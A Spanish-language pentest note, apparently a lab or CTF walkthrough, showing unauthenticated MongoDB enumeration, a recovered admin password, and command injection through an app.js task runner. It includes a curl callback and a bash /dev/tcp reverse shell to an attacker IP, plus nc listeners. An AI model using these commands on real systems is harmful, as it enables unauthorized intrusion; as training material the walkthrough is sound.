> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

Acceso no autenticado a MongoDB, enumeración de la base de datos, inyección de comandos a través de app.js y ejecución de shell inversa.

### Enumeración de MongoDB

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

Conéctate a la base de datos MongoDB en el puerto 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* usuario: admin
* contraseña: IppsecSaysPleaseSubscribe

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Ejecución remota de código en MongoDB

El `app.js` el script ejecuta comandos del sistema desde documentos de MongoDB a través de `doc.cmd`. Esta es una vulnerabilidad crítica porque se pueden inyectar y ejecutar comandos arbitrarios.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

Confirma la ejecución de comandos a través de MongoDB.

**Crear un servidor web local**

En la máquina atacante, inicia un servidor web para observar las solicitudes:

```bash
python3 -m http.server 80
```

**Inserta un comando de prueba en la `tareas` colección**

En MongoDB, inserta un comando que realice una solicitud HTTP a la máquina atacante:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observar solicitudes**

Si ves una solicitud en los registros del servidor web, esto confirma que los comandos se ejecutan.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

Configura una shell inversa y escucha en el puerto 443:

```bash
nc -nlvp 443
```

#### Iniciar una shell inversa

**Configura un listener en el puerto 443** En la máquina atacante:

```bash
nc -nlvp 443
```

**Inserta un comando de shell inversa**

En MongoDB, inserta un comando para establecer una shell inversa:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Conexión exitosa** Una vez que el comando se ejecuta, obtienes una shell interactiva en la máquina objetivo bajo el usuario **tom**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>


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